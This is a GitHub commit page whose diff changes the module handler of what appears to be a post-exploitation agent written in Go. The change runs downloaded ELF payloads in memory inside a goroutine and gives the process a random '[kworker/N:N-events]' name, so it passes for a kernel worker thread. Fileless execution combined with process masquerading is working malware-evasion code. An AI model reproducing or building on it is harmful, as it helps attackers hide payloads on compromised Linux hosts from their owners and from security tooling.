Skip to content

Commit

Permalink
fix: run ELF in subroutine
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 23, 2025
1 parent 5680944 commit 91279bf
Showing 1 changed file with 9 additions and 6 deletions.
15 changes: 9 additions & 6 deletions core/lib/agent/mod.go
Original file line number Diff line number Diff line change
Expand Up @@ -85,12 +85,15 @@ func moduleHandler(download_addr, file_to_download, payload_type, modName, check
}
case "elf":
if inMem {
out = "Successfully executed ELF binary in memory"
err = exe_utils.InMemExeRun(payload_data, []string{"[kworker:0]"}, env)
if err != nil {
out = fmt.Sprintf("running ELF binary in memory: %v", err)
}
return out
go func() {
randName := fmt.Sprintf("[kworker/%d:%d-events]", util.RandInt(0, 20), util.RandInt(0, 10))
// if you need to pass arguments to the in-memory module, you can do it in environment variables
// when implementing the module, you can read the arguments from env
err = exe_utils.InMemExeRun(payload_data, []string{randName}, env)
if err != nil {
log.Printf("InMemExeRun: %v", err)
}
}()
}
default:
// on disk modules
Expand Down

0 comments on commit 91279bf

Please sign in to comment.